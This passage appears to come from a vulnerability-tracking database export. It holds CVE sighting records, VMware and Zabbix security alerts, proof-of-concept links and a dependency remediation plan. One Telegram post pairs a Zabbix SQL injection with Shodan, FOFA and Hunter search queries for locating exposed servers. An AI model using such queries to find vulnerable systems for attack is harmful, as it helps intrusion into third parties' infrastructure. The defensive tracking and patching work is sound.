Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided \"as-is\" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.\n\nRevision History\n\n\n\nInitial Release Date: 2026-05-12\n\n\n\n\n\nDate\nRevision\nSummary\n\n\n\n\n2026-05-12\n1\nPublication Date\n\n\n2026-05-14\n2\nInitial CISA Republication of Siemens ProductCERT SSA-577017 advisory\n\n\n\n\n\n\nLegal Notice and Terms of Use", "creation_timestamp": "2026-05-14T10:00:00.000000Z"}, {"uuid": "77506c67-cb6e-4197-a8b4-140461459f43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22250", "type": "seen", "source": "https://t.me/referencebooks0/206", "content": "\ud83d\udea8 Attention VMware users! \n\nNew flaws identified (CVE-2024-22245 & CVE-2024-22250) in the EAP plugin. Attackers could exploit them to hijack Active Directory accounts and privileged EAP sessions. \n\nUNINSTALL it immediately. \n\n\u0634\u0631\u06a9\u062a VMware \u0647\u0634\u062f\u0627\u0631\u06cc \u0635\u0627\u062f\u0631 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0628\u0647 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc \u06a9\u0646\u062f \u067e\u0644\u0627\u06af\u06cc\u0646 \u062a\u0623\u06cc\u06cc\u062f \u0627\u0639\u062a\u0628\u0627\u0631 \u067e\u06cc\u0634\u0631\u0641\u062a\u0647 (EAP) \u0645\u0646\u0633\u0648\u062e \u0634\u062f\u0647 \u0631\u0627 \u0628\u0647 \u062f\u0644\u06cc\u0644 \u0646\u0642\u0635 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0645\u0647\u0645 CVE-2024-22245 \u0628\u0627 \u0627\u0645\u062a\u06cc\u0627\u0632 CVSS 9.6 \u062d\u0630\u0641\u00a0 \u06a9\u0646\u0646\u062f. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0631\u0627 \u0642\u0627\u062f\u0631 \u0645\u06cc\u200c\u0633\u0627\u0632\u062f \u062a\u0627 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0631\u0627 \u0628\u0627 EAP \u0646\u0635\u0628 \u0634\u062f\u0647 \u062f\u0631 \u0645\u0631\u0648\u0631\u06af\u0631\u0647\u0627\u06cc\u0634\u0627\u0646 \u0641\u0631\u06cc\u0628 \u062f\u0647\u0646\u062f \u062a\u0627 \u0628\u0644\u06cc\u0637\u200c\u0647\u0627\u06cc \u0633\u0631\u0648\u06cc\u0633 \u0631\u0627 \u0628\u0631\u0627\u06cc \u0646\u0627\u0645\u200c\u0647\u0627\u06cc \u0627\u0635\u0644\u06cc \u0633\u0631\u0648\u06cc\u0633 \u062f\u0627\u06cc\u0631\u06a9\u062a\u0648\u0631\u06cc \u0641\u0639\u0627\u0644 (SPN) \u062f\u0644\u062e\u0648\u0627\u0647 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u06a9\u0646\u0646\u062f \u0648 \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u0646\u062f. \u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u06cc\u0646\u060c \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u06cc\u06af\u0631\u060c CVE-2024-22250\u060c \u0628\u0627 \u0627\u0645\u062a\u06cc\u0627\u0632 CVSS 7.8\u060c \u0628\u0647 \u06cc\u06a9 \u0639\u0627\u0645\u0644 \u0645\u062e\u0631\u0628 \u0628\u0627 \u062f\u0633\u062a\u0631\u0633\u06cc \u0645\u062d\u0644\u06cc \u063a\u06cc\u0631\u0645\u062c\u0627\u0632 \u0628\u0647 \u06cc\u06a9 \u0633\u06cc\u0633\u062a\u0645\u200c\u0639\u0627\u0645\u0644 \u0648\u06cc\u0646\u062f\u0648\u0632 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u062a\u0627 \u06cc\u06a9 \u0633\u0634\u0646\u00a0 EAP \u0645\u0645\u062a\u0627\u0632 \u0631\u0627 \u0631\u0628\u0648\u062f\u0647 \u0628\u0627\u0634\u062f. \u06a9\u0627\u0631\u0628\u0631\u0627\u0646\u06cc \u06a9\u0647 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0627\u06cc\u0646 \u0648\u0636\u0639\u06cc\u062a \u0642\u0631\u0627\u0631 \u0645\u06cc \u06af\u06cc\u0631\u0646\u062f \u0634\u0627\u0645\u0644 \u06a9\u0633\u0627\u0646\u06cc \u0647\u0633\u062a\u0646\u062f \u06a9\u0647 EAP \u0631\u0627 \u0628\u0647 \u0633\u06cc\u0633\u062a\u0645 \u0647\u0627\u06cc Microsoft Windows \u0627\u0636\u0627\u0641\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0646\u062f \u062a\u0627 \u0627\u0632 \u0637\u0631\u06cc\u0642 vSphere Client \u0628\u0647 VMware vSphere \u0645\u062a\u0635\u0644 \u0634\u0648\u0646\u062f. \u0628\u0631\u0627\u06cc \u0645\u0642\u0627\u0628\u0644\u0647 \u0628\u0627 \u062e\u0637\u0631\u0627\u062a \u0646\u0627\u0634\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u060c VMware \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0627\u06cc \u0628\u0631\u0627\u06cc \u0631\u0641\u0639 \u0622\u0646\u200c\u0647\u0627 \u0646\u062f\u0627\u0631\u062f\u060c \u0628\u0644\u06a9\u0647 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0631\u0627 \u062a\u0634\u0648\u06cc\u0642 \u0645\u06cc\u200c\u06a9\u0646\u062f \u062a\u0627 \u067e\u0644\u0627\u06af\u06cc\u0646 \u0631\u0627 \u0628\u0647 \u0637\u0648\u0631 \u06a9\u0627\u0645\u0644 \u062d\u0630\u0641 \u06a9\u0646\u0646\u062f.\n\u00a0 \nLearn more: https://thehackernews.com/2024/02/vmware-alert-uninstall-eap-now-critical.html", "creation_timestamp": "2024-02-25T17:11:24.000000Z"}, {"uuid": "1d439ad6-c8fb-4e7f-b913-847973d25edf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22245", "type": "seen", "source": "https://t.me/referencebooks0/206", "content": "\ud83d\udea8 Attention VMware users! \n\nNew flaws identified (CVE-2024-22245 & CVE-2024-22250) in the EAP plugin. Attackers could exploit them to hijack Active Directory accounts and privileged EAP sessions. \n\nUNINSTALL it immediately. \n\n\u0634\u0631\u06a9\u062a VMware \u0647\u0634\u062f\u0627\u0631\u06cc \u0635\u0627\u062f\u0631 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0628\u0647 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc \u06a9\u0646\u062f \u067e\u0644\u0627\u06af\u06cc\u0646 \u062a\u0623\u06cc\u06cc\u062f \u0627\u0639\u062a\u0628\u0627\u0631 \u067e\u06cc\u0634\u0631\u0641\u062a\u0647 (EAP) \u0645\u0646\u0633\u0648\u062e \u0634\u062f\u0647 \u0631\u0627 \u0628\u0647 \u062f\u0644\u06cc\u0644 \u0646\u0642\u0635 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0645\u0647\u0645 CVE-2024-22245 \u0628\u0627 \u0627\u0645\u062a\u06cc\u0627\u0632 CVSS 9.6 \u062d\u0630\u0641\u00a0 \u06a9\u0646\u0646\u062f. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0631\u0627 \u0642\u0627\u062f\u0631 \u0645\u06cc\u200c\u0633\u0627\u0632\u062f \u062a\u0627 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0631\u0627 \u0628\u0627 EAP \u0646\u0635\u0628 \u0634\u062f\u0647 \u062f\u0631 \u0645\u0631\u0648\u0631\u06af\u0631\u0647\u0627\u06cc\u0634\u0627\u0646 \u0641\u0631\u06cc\u0628 \u062f\u0647\u0646\u062f \u062a\u0627 \u0628\u0644\u06cc\u0637\u200c\u0647\u0627\u06cc \u0633\u0631\u0648\u06cc\u0633 \u0631\u0627 \u0628\u0631\u0627\u06cc \u0646\u0627\u0645\u200c\u0647\u0627\u06cc \u0627\u0635\u0644\u06cc \u0633\u0631\u0648\u06cc\u0633 \u062f\u0627\u06cc\u0631\u06a9\u062a\u0648\u0631\u06cc \u0641\u0639\u0627\u0644 (SPN) \u062f\u0644\u062e\u0648\u0627\u0647 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u06a9\u0646\u0646\u062f \u0648 \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u0646\u062f. \u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u06cc\u0646\u060c \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u06cc\u06af\u0631\u060c CVE-2024-22250\u060c \u0628\u0627 \u0627\u0645\u062a\u06cc\u0627\u0632 CVSS 7.8\u060c \u0628\u0647 \u06cc\u06a9 \u0639\u0627\u0645\u0644 \u0645\u062e\u0631\u0628 \u0628\u0627 \u062f\u0633\u062a\u0631\u0633\u06cc \u0645\u062d\u0644\u06cc \u063a\u06cc\u0631\u0645\u062c\u0627\u0632 \u0628\u0647 \u06cc\u06a9 \u0633\u06cc\u0633\u062a\u0645\u200c\u0639\u0627\u0645\u0644 \u0648\u06cc\u0646\u062f\u0648\u0632 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u062a\u0627 \u06cc\u06a9 \u0633\u0634\u0646\u00a0 EAP \u0645\u0645\u062a\u0627\u0632 \u0631\u0627 \u0631\u0628\u0648\u062f\u0647 \u0628\u0627\u0634\u062f. \u06a9\u0627\u0631\u0628\u0631\u0627\u0646\u06cc \u06a9\u0647 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0627\u06cc\u0646 \u0648\u0636\u0639\u06cc\u062a \u0642\u0631\u0627\u0631 \u0645\u06cc \u06af\u06cc\u0631\u0646\u062f \u0634\u0627\u0645\u0644 \u06a9\u0633\u0627\u0646\u06cc \u0647\u0633\u062a\u0646\u062f \u06a9\u0647 EAP \u0631\u0627 \u0628\u0647 \u0633\u06cc\u0633\u062a\u0645 \u0647\u0627\u06cc Microsoft Windows \u0627\u0636\u0627\u0641\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0646\u062f \u062a\u0627 \u0627\u0632 \u0637\u0631\u06cc\u0642 vSphere Client \u0628\u0647 VMware vSphere \u0645\u062a\u0635\u0644 \u0634\u0648\u0646\u062f. \u0628\u0631\u0627\u06cc \u0645\u0642\u0627\u0628\u0644\u0647 \u0628\u0627 \u062e\u0637\u0631\u0627\u062a \u0646\u0627\u0634\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u060c VMware \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0627\u06cc \u0628\u0631\u0627\u06cc \u0631\u0641\u0639 \u0622\u0646\u200c\u0647\u0627 \u0646\u062f\u0627\u0631\u062f\u060c \u0628\u0644\u06a9\u0647 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0631\u0627 \u062a\u0634\u0648\u06cc\u0642 \u0645\u06cc\u200c\u06a9\u0646\u062f \u062a\u0627 \u067e\u0644\u0627\u06af\u06cc\u0646 \u0631\u0627 \u0628\u0647 \u0637\u0648\u0631 \u06a9\u0627\u0645\u0644 \u062d\u0630\u0641 \u06a9\u0646\u0646\u062f.\n\u00a0 \nLearn more: https://thehackernews.com/2024/02/vmware-alert-uninstall-eap-now-critical.html", "creation_timestamp": "2024-02-25T17:11:24.000000Z"}, {"uuid": "e7b42bca-4e09-47f3-9628-0af32c65f3d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-17)", "content": "", "creation_timestamp": "2026-05-17T00:00:00.000000Z"}, {"uuid": "705c80b8-32a6-478a-bda7-c524cb4ce7ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22853", "type": "seen", "source": "https://t.me/pentestnotes/53", "content": "CVE-2024-22853\n\nNone\n\nGithub link:\nhttps://github.com/FaLLenSKiLL1/CVE-2024-22853", "creation_timestamp": "2026-08-05T00:00:32.563230Z"}, {"uuid": "a45bd2b1-ec34-4572-bee3-6a1719e77368", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-22416", "type": "published-proof-of-concept", "source": "https://github.com/pyload/pyload/security/advisories/GHSA-pgpj-v85q-h5fm", "content": "", "creation_timestamp": "2024-01-17T23:18:26.000000Z"}, {"uuid": "2c8d1af4-3c34-412b-ad51-4ed47cf1f2c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-22419", "type": "published-proof-of-concept", "source": "https://github.com/vyperlang/vyper/security/advisories/GHSA-2q8v-3gqq-4f8p", "content": "", "creation_timestamp": "2024-01-18T16:14:07.000000Z"}, {"uuid": "9a6fd711-315e-43e1-b6be-39bf77a51c8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-22190", "type": "published-proof-of-concept", "source": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2mqj-m65w-jghx", "content": "", "creation_timestamp": "2024-01-10T12:17:02.000000Z"}, {"uuid": "204ddb9b-4ba6-46ec-b805-942c3eb026a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-22208", "type": "published-proof-of-concept", "source": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-9hhf-xmcw-r3xg", "content": "", "creation_timestamp": "2024-02-05T18:10:38.000000Z"}, {"uuid": "e16225be-55a7-4399-9f36-937c75b69275", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-22202", "type": "published-proof-of-concept", "source": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-6648-6g96-mg35", "content": "", "creation_timestamp": "2024-02-05T18:10:49.000000Z"}, {"uuid": "8dc60d65-9124-4f0d-91ba-e03b48647ee1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-22411", "type": "published-proof-of-concept", "source": "https://github.com/avo-hq/avo/security/advisories/GHSA-g8vp-2v5p-9qfh", "content": "", "creation_timestamp": "2024-01-16T21:25:52.000000Z"}, {"uuid": "7304f591-fc9f-4c11-8fab-0c90400b7bf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-22191", "type": "published-proof-of-concept", "source": "https://github.com/avo-hq/avo/security/advisories/GHSA-ghjv-mh6x-7q6h", "content": "", "creation_timestamp": "2024-01-16T14:13:28.000000Z"}, {"uuid": "d184d0b5-090f-488f-8d45-1727b88544e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-22049", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-5pq7-52mg-hr42", "content": "", "creation_timestamp": "2023-01-03T13:36:46.000000Z"}, {"uuid": "fc56eb12-e24a-443f-b6ef-f1273b6d5a24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22120", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/388", "content": "\ud83d\udea8CVE-2024-22120: Zabbix SQLi Vulnerability\ud83d\udea8\n\n\u26a0POC: https://lnkd.in/gtbSbpvg\n\u26a0POC: https://lnkd.in/gv5t27Vw\n\n\ud83d\udc49This time-based SQL injection flaw poses a significant risk to systems running affected Zabbix, potentially allowing attackers to escalate privileges and even achieve remote code execution (RCE).\n\n\ud83d\udce2Reference: https://lnkd.in/g3iSTYEy\n\n\ud83d\udcddDorks:\nHunter:/product.name=\"Zabbix\"\nFOFA:app=\"ZABBIX-Monitoring\"\nSHODAN:http.component:\"Zabbix\"", "creation_timestamp": "2024-05-21T10:36:48.000000Z"}, {"uuid": "bc2002d6-4d08-4b8f-bffd-4cbcac7f8e56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-20)", "content": "", "creation_timestamp": "2026-08-21T10:15:08.296535Z"}, {"uuid": "fe0a0100-43a2-42cb-a727-7f73e621f2e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22190", "type": "seen", "source": "https://gist.github.com/sruthi-parthasarathi-ai/f233e53a928e386fffc3053e894ba089", "content": "# MB 1.71 CVE Remediation \u2014 Go + Python Action Plan\n\n**Customer context:** Mercedes-Benz's Security Command Center flagged 272 CVEs on the 1.71 canary cluster. This document covers the **Go (23) and Python (26) CVEs only**. The Maven/Spark CVEs (~120) are being handled separately via a cluster config change (disabling Spark 3.4) and are not in scope here.\n\n**Target:** PRs up by EOD Thursday, June 12, ahead of the June 15 MB meeting.\n\n---\n\n## How to read this doc\n\nThis is organized by team, matching the Slack thread. Each section has:\n- The exact version bumps needed\n- Which files to change\n- A brief note on why a particular fix is scoped the way it is\n\nTwo questions come up repeatedly, so the answers are here upfront:\n\n**Why are `py38` lockfiles being skipped for some packages?**\nThree of the packages \u2014 `aiohttp`, `lxml`, and `pillow` \u2014 have CVE fix versions that dropped Python 3.8 support (`aiohttp >= 3.13.3`, `lxml >= 6.1`, `Pillow >= 11.0` all require Python 3.9+). Fixing the py38 lockfiles would require upgrading our Python 3.8 toolchain first, which is out of scope for June 15. The py38 lockfiles will retain a residual CVE for those three packages until a follow-on py38 retirement effort. This is an accepted risk for now.\n\n**Why focus on these packages and not others?**\nThese are the packages the GCP Security Command Center specifically flagged. The remaining CVEs outside this list (e.g., grpcio, protobuf, numpy, docker) are also present but were either (a) not included in the MB-specific SCC report, (b) already fixed in the versions we're running, or (c) identified as requiring a more complex effort that can't land by June 15. The `govulncheck` and `pip-audit` follow-ons at the bottom of this doc will surface those.\n\n---\n\n## Dev Frameworks\n\n### Go: bump the toolchain \u2014 fixes 15 CVEs including 1 CRITICAL\n\nThe Go runtime on 1.71 is `1.25.5`. The CVE fix requires `1.25.11`. The Go version is pinned in **two separate places** and both need to change:\n\n**1. `WORKSPACE`** \u2014 this is the Bazel build-time toolchain, controls all compiled Go binaries:\n```\n# Change this line:\ngo_register_toolchains(\n    version = \"1.25.5\",\n)\n# To:\ngo_register_toolchains(\n    version = \"1.25.11\",\n)\n```\n\n**2. `go.mod` files** \u2014 the `go` directive and `toolchain` directive are separate from the Bazel pin. Files to update:\n\n| File | What to change |\n|---|---|\n| `go.mod` (root) | `go 1.25.5` \u2192 `go 1.25.11` |\n| `internal_apps/apps/apx/go.mod` | `go 1.25.0` \u2192 `go 1.25.11` |\n| `apps_platform/lib/*/go.mod` (8 files) | `toolchain go1.25.8` \u2192 `toolchain go1.25.11` |\n| `apps_platform/platform/*/go.mod` (6 files) | `toolchain go1.25.5` or `go1.25.8` \u2192 `toolchain go1.25.11` |\n\nThere are no breaking changes between 1.25.5 and 1.25.11 \u2014 this is a patch-series security release.\n\n---\n\n### Go: bump `go-jose/v4` \u2014 quick win\n\n| Package | Current | Fix | Where |\n|---|---|---|---|\n| `github.com/go-jose/go-jose/v4` | `v4.1.3` (main go.mod, indirect) | `v4.1.5` | `go.mod` + all `apps_platform/*/go.mod` |\n\nThis is an indirect dependency pulled in through OIDC/OAuth libraries. Fix: `go get github.com/go-jose/go-jose/v4@v4.1.5 && go mod tidy`. No API changes.\n\n---\n\n### Python: lockfile bumps\n\nFor Python fixes, the workflow is: bump the version in the relevant `requirements.txt` input files, then regenerate the compiled lockfiles. The compiled lockfiles (`requirements_compiled_*.txt`) are what actually gets installed \u2014 they need to be regenerated after any input change.\n\n#### `h11` \u2192 `0.16.0` \u2014 **CRITICAL, highest priority Python fix**\n\n`h11` is uvicorn's HTTP/1.1 implementation. CVE-2025-43859 allows HTTP request smuggling via malformed chunked encoding. Services using uvicorn (`web_services/sre/`, model_management autodistill server, `gen_ai/spec_in_the_loop/server/`) are the exposed surface.\n\nLockfiles to regenerate (the `py39` and `py310` lockfiles are already at `0.16.0` \u2014 only these need updating):\n\n| File | Current |\n|---|---|\n| `tools/build/requirements_compiled_py311.txt` | `0.14.0` |\n| `tools/build/requirements_compiled_py311_windows.txt` | `0.14.0` |\n| `tools/build/requirements_compiled_py312.txt` | `0.14.0` |\n| `tools/build/requirements_compiled_py312_windows.txt` | `0.14.0` |\n| `tools/build/requirements_compiled_tools.txt` | `0.14.0` |\n| `dev/containers/ci/requirements_compiled_buildkite.txt` | `0.14.0` |\n| `dev/containers/dev/requirements_compiled_devdocker.txt` | `0.14.0` |\n\nNo API changes. Fastest fix in the entire list.\n\n---\n\n#### `cryptography` \u2192 `44.0.1+`\n\nCVE-2024-26130 / CVE-2024-12797. Used in TLS cert handling, JWT signing, image signing. Most affected path: the cluster cert pipeline (`tools/scripts/minikube/setup/tls.py`, `tools/scripts/sign_images.py`).\n\nThe `buildkite` (`44.0.3`) and `devdocker` (`46.0.5`) containers are already fixed. The following still need updating:\n\n| File | Current |\n|---|---|\n| `tools/build/requirements_compiled_py38.txt` | `43.0.3` |\n| `tools/build/requirements_compiled_py39.txt` | `43.0.3` |\n| `tools/build/requirements_compiled_py310.txt` | `43.0.3` |\n| `tools/build/requirements_compiled_py311.txt` | `43.0.3` |\n| `tools/build/requirements_compiled_py312.txt` | `43.0.3` |\n| `tools/build/requirements_compiled_tools.txt` | `43.0.3` |\n| `dev/containers/genai-dev/requirements_compiled_genai-dev.txt` | `43.0.3` |\n| `adp/services/scenario_post_processor/requirements_compiled_py311.txt` | `43.0.3` |\n| `adp/services/axion_rl/genesis/requirements_compiled_py311.txt` | `43.0.3` |\n| All Windows variants (py38\u2013py312) | `43.0.3` |\n\nNote: `cryptography` has a Rust extension \u2014 make sure the build environment has Cargo. CI containers already do.\n\nNo breaking changes in the 43 \u2192 44 bump for the usages in this codebase.\n\n---\n\n#### `gitpython` \u2192 `3.1.44+`\n\nCVE-2024-22190 (shell injection via malformed git URLs). Used in CI tooling and workbench release scripts \u2014 not in any running cluster service. This is a pure patch release with no API changes, and importantly it **does support py38**, so all lockfiles get the fix (no py38 exception here).\n\nAll 10 lockfiles need updating: `py38`, `py39`, `py310`, `py311`, `py312` (Linux + Windows).\n\n---\n\n#### `aiohttp` \u2192 `3.13.3+` (py39\u2013py312 only)\n\nUsed in `lilypad/images/ray_history_server/`, `tools/gen_ai/crashbot/`, `tools/log_flume/`, and as a transitive dependency via `aioboto3` in the data access layer.\n\n**py38 lockfiles (`requirements_compiled_py38.txt`, `requirements_compiled_py38_windows.txt`) are intentionally skipped** \u2014 `aiohttp >= 3.13.3` requires Python 3.9+, so these files cannot receive the fix without a Python toolchain upgrade.\n\nLockfiles to regenerate: `py39`, `py310`, `py311`, `py312` (Linux + Windows, 8 files) + `dev/containers/genai-dev/requirements_compiled_genai-dev.txt`.\n\n---\n\n#### `pillow` \u2192 `11.0.0+` (py39\u2013py312 only)\n\nUsed in `gen_ai/` Triton inference pipelines, `synthetic_datasets/`, `tools/vehiclesim/`. The `axion_rl/genesis` lockfile is already at `12.1.1` and the `helix hdp_3_11` lockfile is at `11.3.0` \u2014 those are fine.\n\n**py38 lockfiles are intentionally skipped** \u2014 Pillow 11.x dropped Python 3.8 support.\n\nLockfiles to regenerate: `py39`\u2013`py312` (Linux + Windows), `tools` lockfile, `genai-dev`, `helix hdp_3_9`.\n\n---\n\n#### `lxml` \u2192 `6.1+` (py39\u2013py312 only)\n\nUsed in OpenDrive and VTD XML map parsers (`simian/modules/map/opendrive/`, `simian/modules/vtd/vtd_parser.py`), OpenScenario exporter, and map conversion pipeline.\n\n**py38 lockfiles are intentionally skipped** \u2014 lxml 6.x dropped Python 3.8 support.\n\n\u26a0\ufe0f lxml 5.x \u2192 6.x is a major version bump. The XML parser has stricter defaults in 6.0. The OpenDrive and OSC parsers use `lxml.etree` directly \u2014 do a quick test pass to make sure scenario XML and map XML still parse correctly before merging.\n\nLockfiles to regenerate: `py39`\u2013`py312` (Linux + Windows), `tools` lockfile, `helix hdp_3_9` (helix team owns this one), `helix hdp_3_11` (currently at `6.0.2`, still needs bump to `6.1+`).\n\n---\n\n## Cloud Infra (Antonia Adler)\n\n### `azure-core` \u2192 `1.38.0+`\n\nUsed in `adp/lib/secrets/azure_key_vault.py`, `adp/lib/postgres/auth/azure_get_managed_identity_token.py`, and the Azure Blob Storage access layer (`adp/lib/file_access_layer/py/az/`). Particularly relevant for the MB cluster since it uses Azure Managed Identity for Postgres auth.\n\nWhen bumping `azure-core`, check `azure-identity` and `azure-storage-blob` versions in the same lockfiles for compatibility \u2014 they may need to be bumped in tandem.\n\n| File | Current |\n|---|---|\n| `tools/build/requirements_compiled_py39.txt` | `1.28.0` |\n| `tools/build/requirements_compiled_py310.txt` | `1.28.0` |\n| `tools/build/requirements_compiled_py311.txt` | `1.28.0` |\n| `tools/build/requirements_compiled_py312.txt` | `1.36.0` |\n| All Windows variants (py39\u2013py312) | `1.28.0` / `1.36.0` |\n| `dev/containers/ci/requirements_compiled_buildkite.txt` | `1.36.0` |\n| `dev/containers/genai-dev/requirements_compiled_genai-dev.txt` | `1.32.0` |\n\nPure Python library, no compiled extensions. Should be straightforward.\n\n---\n\n### `h11` in infra containers\n\nThe two infra-owned containers also need `h11` updated (listed in the Dev Frameworks section above but owned here):\n- `dev/containers/ci/requirements_compiled_buildkite.txt`\n- `dev/containers/dev/requirements_compiled_devdocker.txt`\n\n---\n\n### `cryptography` in infra-owned lockfiles\n\n- `tools/on_prem/cluster_creation/requirements_compiled_on_prem.txt` \u2014 `43.0.3` \u2192 `44.0.1+`\n- `spectral/dev/containers/dev/requirements_compiled_spectral_devdocker.txt` \u2014 `43.0.3` \u2192 `44.0.1+` (coordinate with Spectral team if they own this container)\n\n---\n\n### Longer-term flag: `docker/docker` (`v25.0.12` \u2192 `v27.x`)\n\n`github.com/docker/docker` is at `v25.0.12+incompatible` in the main `go.mod`. The CVE fix requires `v27.x`, which is a **major API migration** \u2014 not feasible for June 15. Services using the Docker API directly: `sim_orchestrator/worker/executor/`, `sensor_sim_pool/`, `sensor_sim_downloader/`, `scenario_preview/`, `edge_recorder/`. Worth scheduling as a follow-on sprint item.\n\n---\n\n## Sim Execution (Henry Chen / Sahil Goyal / Conor Martin)\n\n### `pgx/v5` \u2192 `v5.7.4+` in `internal_apps/apps/apx/go.mod` \u2014 CRITICAL\n\n`pgx/v5` (the PostgreSQL driver) has a CRITICAL CVE. The main `go.mod` is at `v5.7.2` which is already above the known vulnerable threshold, but `internal_apps/apps/apx/go.mod` is at `v5.6.0` and needs to be bumped.\n\nThe fix is narrow \u2014 just the `apx` go.mod:\n```\n# internal_apps/apps/apx/go.mod\ngithub.com/jackc/pgx/v5 v5.6.0  \u2192  v5.7.4 (or latest v5.7.x)\n```\n\nRun `go mod tidy` in `internal_apps/apps/apx/` after the bump. No API changes within the v5.7.x series.\n\nNote: If `govulncheck` reveals a separate newer advisory affecting the main `go.mod`'s `v5.7.2`, the scope expands \u2014 that would require bumping the root `go.mod` and recompiling all ~110 Postgres-backed services. That's worth confirming before starting (see the \"next steps\" section at the bottom).\n\n---\n\n### `simpleeval` \u2192 `1.0.5+` (via `casbin` in access control)\n\n`simpleeval` is a dependency of `casbin`, which is the policy-based access control library used in `simian/modules/access_control/`. It only appears in py311 and py39 lockfiles (casbin isn't pulled in from other Python version targets).\n\n| File | Current |\n|---|---|\n| `tools/build/requirements_compiled_py311.txt` | `1.0.3` |\n| `tools/build/requirements_compiled_py311_windows.txt` | 